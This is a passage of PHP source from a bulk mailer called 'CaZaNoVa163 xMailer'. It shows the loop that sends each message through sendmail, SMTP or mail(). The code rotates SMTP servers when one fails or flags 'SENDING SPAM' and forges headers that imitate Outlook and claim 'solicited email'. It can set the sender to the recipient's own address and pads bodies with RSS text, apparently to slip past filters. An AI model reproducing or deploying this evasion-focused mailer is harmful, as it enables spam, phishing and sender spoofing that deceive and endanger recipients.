  460. for($xRSS=$Xrandom;$xRSS<$Xlimit;$xRSS++) {
  461. $RSS_MESSAGE .= "<p><strong>".str_replace(' & ', ' &amp; ', $feed[$xRSS]['title'])."</strong><br>".$feed[$xRSS]['desc']."</p>";
  462. }
  463. $mail->Body = $OxMESSAGE."<br>".$RSS_MESSAGE;
  464. $mail->AltBody = getplaintextintrofromhtml($OxMESSAGE,strlen($OxMESSAGE)); //$OxMESSAGE;
  465. $mail->IsHtml(true);
  466. }else{
  467. if ($mtype=="html") {$mail->IsHtml(true);}else{$mail->IsHtml(false);}
  468. $mail->Body = $OxMESSAGE;
  469. $mail->AltBody = getplaintextintrofromhtml($OxMESSAGE,strlen($OxMESSAGE)); //$OxMESSAGE;
  470. }
  471. if ($mailFILTER != "") {
  472. if (strpos($xTO, $mailFILTER) !== FALSE) {
  473. if($default_system=="1"){
  474. if ($xCHECKEMAIL == "on") {
  475. $xHostname = explode("@", $xTO);
  476. if (myCheckDNSRR($xHostname[1]) == true) {
  477. $mail->IsSendmail();
  478. if(!$mail->Send()){
  479. echo "<font color='#ff0000;'>FAILED via SendMail()</font> : ".strtoupper($mail->ErrorInfo)."<br>";
  480. }else{
  481. echo "<font color='#00ff00;'>OK via SendMail()</font><br>";
  482. }
  483. }else{
  484. echo "<font color='#ff0000;'>EMAIL DOESN'T EXIST</font><br>";
  485. }
  486. }else{
  487. if(!$mail->Send()){
  488. echo "<font color='#ff0000;'>FAILED via SendMail()</font> : ".strtoupper($mail->ErrorInfo)."<br>";
  489. }else{
  490. echo "<font color='#00ff00;'>OK via SendMail()</font><br>";
  491. }
  492. }
  493. }else{
  494. $mail->IsSMTP();
  495. if ($xCHECKEMAIL == "on") {
  496. $xHostname = explode("@", $xTO);
  497. if (myCheckDNSRR($xHostname[1]) == true) {
  498. if(!$mail->Send()){
  499. if (strpos(strtoupper($mail->ErrorInfo), 'SMTP CONNECT() FAILED') !== FALSE){
  500. if ($_SESSION['xSMTP_NUMBER']==$ThisSMTP+1) {
  501. $ThisSMTP = 0;
  502. }else{
  503. $ThisSMTP = $ThisSMTP + 1;
  504. }
  505. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : SMTP CONNECT() FAILED.<br>";
  506. $xShowSSL = ($Xssl[$ThisSMTP] == "on") ? "SSL" : "TLS" ;
  507. echo "<font color='#ffffff;'>CHANGING SMTP</font> : ".$Xserver[$ThisSMTP].":".$Xport[$ThisSMTP]."|".$xShowSSL."|".$Xusername[$ThisSMTP].":".$Xpassword[$ThisSMTP]."<br>";
  508. $x = $x - 1;
  509. }else{
  510. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : ".strtoupper($mail->ErrorInfo)."<br>";
  511. }
  512. }else{
  513. echo "<font color='#00ff00;'>OK via SMTP()</font><br>";
  514. }
  515. }else{
  516. echo "<font color='#ff0000;'>EMAIL DOESN'T EXIST</font><br>";
  517. }
  518. }else{
  519. if(!$mail->Send()){
  520. if (strpos(strtoupper($mail->ErrorInfo), 'SMTP CONNECT() FAILED') !== FALSE){
  521. if ($_SESSION['xSMTP_NUMBER']==$ThisSMTP+1) {
  522. $ThisSMTP = 0;
  523. }else{
  524. $ThisSMTP = $ThisSMTP + 1;
  525. }
  526. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : SMTP CONNECT() FAILED.<br>";
  527. $xShowSSL = ($Xssl[$ThisSMTP] == "on") ? "SSL" : "TLS" ;
  528. echo "<font color='#ffffff;'>CHANGING SMTP</font> : ".$Xserver[$ThisSMTP].":".$Xport[$ThisSMTP]."|".$xShowSSL."|".$Xusername[$ThisSMTP].":".$Xpassword[$ThisSMTP]."<br>";
  529. $x = $x - 1;
  530. }else{
  531. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : ".strtoupper($mail->ErrorInfo)."<br>";
  532. }
  533. }else{
  534. echo "<font color='#00ff00;'>OK via SMTP()</font><br>";
  535. }
  536. }
  537. }
  538. }else{
  539. echo "<font color='#ffffff;'>FILTERED</font><br>";
  540. }
  541. }else{
  542. if($default_system=="1"){
  543. $mail->IsSendmail();
  544. if(!$mail->Send()){
  545. echo "<font color='#ff0000;'>FAILED via SendMail()</font> : ".strtoupper($mail->ErrorInfo)."<br>";
  546. }else{
  547. echo "<font color='#00ff00;'>OK via SendMail()</font><br>";
  548. }
  549. }else{
  550. $mail->IsSMTP();
  551. if ($xCHECKEMAIL == "on") {
  552. $xHostname = explode("@", $xTO);
  553. if (myCheckDNSRR($xHostname[1]) == true) {
  554. if(!$mail->Send()){
  555. if (strpos(strtoupper($mail->ErrorInfo), 'SMTP CONNECT() FAILED') !== FALSE){
  556. if ($_SESSION['xSMTP_NUMBER']==$ThisSMTP+1) {
  557. $ThisSMTP = 0;
  558. }else{
  559. $ThisSMTP = $ThisSMTP + 1;
  560. }
  561. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : SMTP CONNECT() FAILED.<br>";
  562. $xError = 0;
  563. $xShowSSL = ($Xssl[$ThisSMTP] == "on") ? "SSL" : "TLS" ;
  564. echo "<font color='#ffffff;'>CHANGING SMTP</font> : ".$Xserver[$ThisSMTP].":".$Xport[$ThisSMTP]."|".$xShowSSL."|".$Xusername[$ThisSMTP].":".$Xpassword[$ThisSMTP]."<br>";
  565. $xError = 0;
  566. }else{
  567. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : ".strtoupper($mail->ErrorInfo)."<br>";
  568. $xError = 0;
  569. }
  570. }else{
  571. echo "<font color='#00ff00;'>OK via SMTP()</font><br>";
  572. $xError = 0;
  573. }
  574. }else{
  575. echo "<font color='#ff0000;'>EMAIL DOESN'T EXIST</font><br>";
  576. $xError = 0;
  577. }
  578. }else{
  579. if(!$mail->Send()){
  580. if (strpos(strtoupper($mail->ErrorInfo), 'SMTP CONNECT() FAILED') !== FALSE){
  581. if ($_SESSION['xSMTP_NUMBER']==$ThisSMTP+1) {
  582. $ThisSMTP = 0;
  583. }else{
  584. $ThisSMTP = $ThisSMTP + 1;
  585. }
  586. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : <font color='#ffffff;'>SMTP CONNECT() FAILED.</font><br>";
  587. if ($xError == $_SESSION['xSMTP_NUMBER']) {
  588. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : <font color='#ff0000;'>VERIFY YOUR SMTP SETTING.</font><br>";
  589. $xError = 0;
  590. exit();
  591. }else{
  592. $xError = $xError + 1;
  593. } $x = $x - 1;
  594. $xShowSSL = ($Xssl[$ThisSMTP] == "on") ? "SSL" : "TLS" ;
  595. echo "<font color='#ffffff;'>CHANGING SMTP</font> : ".$Xserver[$ThisSMTP].":".$Xport[$ThisSMTP]."|".$xShowSSL."|".$Xusername[$ThisSMTP].":".$Xpassword[$ThisSMTP]."<br>";
  596. }elseif (strpos(strtoupper($mail->ErrorInfo), 'SENDING SPAM') !== FALSE){
  597. if ($_SESSION['xSMTP_NUMBER']==$ThisSMTP+1) {
  598. $ThisSMTP = 0;
  599. }else{
  600. $ThisSMTP = $ThisSMTP + 1;
  601. }
  602. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : <font color='#ffffff;'>SMTP DETECTED SENDING SPAM.</font><br>";
  603. if ($xError == $_SESSION['xSMTP_NUMBER']) {
  604. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : <font color='#ff0000;'>VERIFY YOUR SMTP SETTING.</font><br>";
  605. $xError = 0;
  606. exit();
  607. }else{
  608. $xError = $xError + 1;
  609. }
  610. $x = $x - 1;
  611. $xShowSSL = ($Xssl[$ThisSMTP] == "on") ? "SSL" : "TLS" ;
  612. echo "<font color='#ffffff;'>CHANGING SMTP</font> : ".$Xserver[$ThisSMTP].":".$Xport[$ThisSMTP]."|".$xShowSSL."|".$Xusername[$ThisSMTP].":".$Xpassword[$ThisSMTP]."<br>";
  613. $xError = 0;
  614. }else{
  615. echo "<font color='#ff0000;'>FAILED via SMTP()</font> : ".strtoupper($mail->ErrorInfo)."<br>";
  616. $xError = 0;
  617. }
  618. }else{
  619. echo "<font color='#00ff00;'>OK via SMTP()</font><br>";
  620. }
  621. }
  622. }
  623. }
  624. if(empty($reconnect)){$reconnect=10;}
  625. if($reconnect==$nq){$mail->SmtpClose();echo "<font color='#ffffff;'>RECONNECTING</font> : SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON<br>";$nq=1;}
  626. $nq=$nq+1;
  627. $XNum = $XNum+1;
  628. flush();
  629. }else{
  630. if ($xHIGHPRIORITY=="on") {
  631. $mail->Priority = 1;
  632. // MS Outlook custom header
  633. // May set to "Urgent" or "Highest" rather than "High"
  634. $mail->AddCustomHeader("X-MSMail-Priority: High");
  635. // Not sure if Priority will also set the Importance header:
  636. $mail->AddCustomHeader("Importance: High");
  637. }
  638. $mail->AddCustomHeader("Organization: ".$_SERVER["SERVER_NAME"]);
  639. $mail->AddCustomHeader("X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441");
  640. $mail->AddCustomHeader("X-Sender: ".$OxSENDER_EMAIL);
  641. $mail->AddCustomHeader("X-AntiAbuse: This is a solicited email for - ".$_SERVER["SERVER_NAME"]." mailing list.");
  642. $mail->AddCustomHeader("X-AntiAbuse: Servername - ".$_SERVER['SERVER_NAME']);
  643. $mail->AddCustomHeader("X-AntiAbuse: ".$OxSENDER_EMAIL);
  644. $mail->AddCustomHeader("X-OriginalArrivalTime: 30 Aug 2015 13:39:39.0481 (UTC) FILETIME=[7BF24490:01D0E3F2]");
  645. $mail->AddCustomHeader("Return-Path: ".$OxSENDER_EMAIL);
  646. if ($xUSEDKIM == "on") {
  647. $mail->DKIM_domain = $xDKIM_DOMAIN;
  648. $mail->DKIM_private = 'privatekey.txt';
  649. $mail->DKIM_selector = $xDKIM_SELECTOR;
  650. $mail->DKIM_identifier = $OxSENDER_EMAIL;
  651. }
  652. $mail->IsMail();
  653. $mail->MessageID = $OxRANDOM_MESSAGE_ID;
  654. if ($xHOTMAIL=="on") {
  655. $OxUSER = explode("@", $xTO);
  656. $mail->XMailer = "Microsoft Office Outlook, Build 17.551210";
  657. // $mail->From = $xTO;
  658. $mail->setFrom($xTO, $OxUSER[0]);
  659. }else{
  660. $mail->XMailer = "CaZaNoVa163 xMailer v1.3";
  661. // $mail->From = $OxSENDER_EMAIL;
  662. $mail->setFrom($OxSENDER_EMAIL, $EOxSENDER_NAME);
  663. }
  664. if ($EMBED =="on") {
  665. $RSS_MESSAGE = "<font color='#&#070;&#070;&#070;'>";
  666. for($xRSS=$Xrandom;$xRSS<$Xlimit;$xRSS++) {
  667. $RSS_MESSAGE .= "<p><strong>".str_replace(' & ', ' &amp; ', $feed[$xRSS]['title'])."</strong><br>".$feed[$xRSS]['desc']."</p>";
  668. }
  669. $mail->Body = $OxMESSAGE."<br>".$RSS_MESSAGE;
  670. $mail->AltBody = getplaintextintrofromhtml($OxMESSAGE,strlen($OxMESSAGE)); //$OxMESSAGE;
  671. $mail->IsHtml(true);
  672. }else{
  673. if ($mtype=="html") {$mail->IsHtml(true);}else{$mail->IsHtml(false);}
  674. $mail->AltBody = getplaintextintrofromhtml($OxMESSAGE,strlen($OxMESSAGE)); //$OxMESSAGE;
  675. $mail->Body = $OxMESSAGE;
  676. }
  677. $mail->AddAddress($xTO);
  678. $mail->Subject = $EOxEMAIL_SUBJECT;
  679. if ($mtype=="html") {$mail->IsHtml(true);}else{$mail->IsHtml(false);}
  680. if ($mailFILTER != "") {
  681. if (strpos($xTO, $mailFILTER) !== FALSE) {
  682. if ($xCHECKEMAIL == "on") {
  683. $xHostname = explode("@", $xTO);
  684. if (myCheckDNSRR($xHostname[1]) == true) {
  685. if (!$mail->send()) {
  686. echo "<font color='#ff0000;'>FAILED via Mail()</font> : ".strtoupper($mail->ErrorInfo."<br>");
  687. } else {
  688. echo "<font color='#00ff00;'>OK via Mail()</font><br>";
  689. }
  690. }else{
  691. echo "<font color='#ff0000;'>EMAIL DOESN'T EXIST</font><br>";
  692. }
  693. }else{
  694. if (!$mail->send()) {
  695. echo "<font color='#ff0000;'>FAILED via Mail()</font> : ".strtoupper($mail->ErrorInfo."<br>");
  696. } else {
  697. echo "<font color='#00ff00;'>OK via Mail()</font><br>";
  698. }
  699. }
  700. }else{
  701. echo "<font color='#ffffff;'>FILTERED</font><br>";
  702. }
  703. }else{
  704. if ($xCHECKEMAIL == "on") {
  705. $xHostname = explode("@", $xTO);
  706. if (myCheckDNSRR($xHostname[1]) == true) {
  707. if (!$mail->send()) {
  708. echo "<font color='#ff0000;'>FAILED via Mail()</font> : ".strtoupper($mail->ErrorInfo."<br>");
  709. } else {
  710. echo "<font color='#00ff00;'>OK via Mail()</font><br>";
  711. }
  712. }else{
  713. echo "<font color='#ff0000;'>EMAIL DOESN'T EXIST</font><br>";
  714. }
  715. }else{
  716. if (!$mail->send()) {
  717. echo "<font color='#ff0000;'>FAILED via Mail()</font> : ".strtoupper($mail->ErrorInfo."<br>");
  718. } else {
  719. echo "<font color='#00ff00;'>OK via Mail()</font><br>";
  720. }
  721. }
  722. }
  723. }
  724. /**
  725. PHPMailer() End
  726. */
  727. }
  728. }
  729. if ($func=="smtp") {
  730. $mail->SmtpClose();
  731. }
  732. }
  733. ?>
  734. <?}?>
  735. </body>
  736. </html>

comments powered by Disqus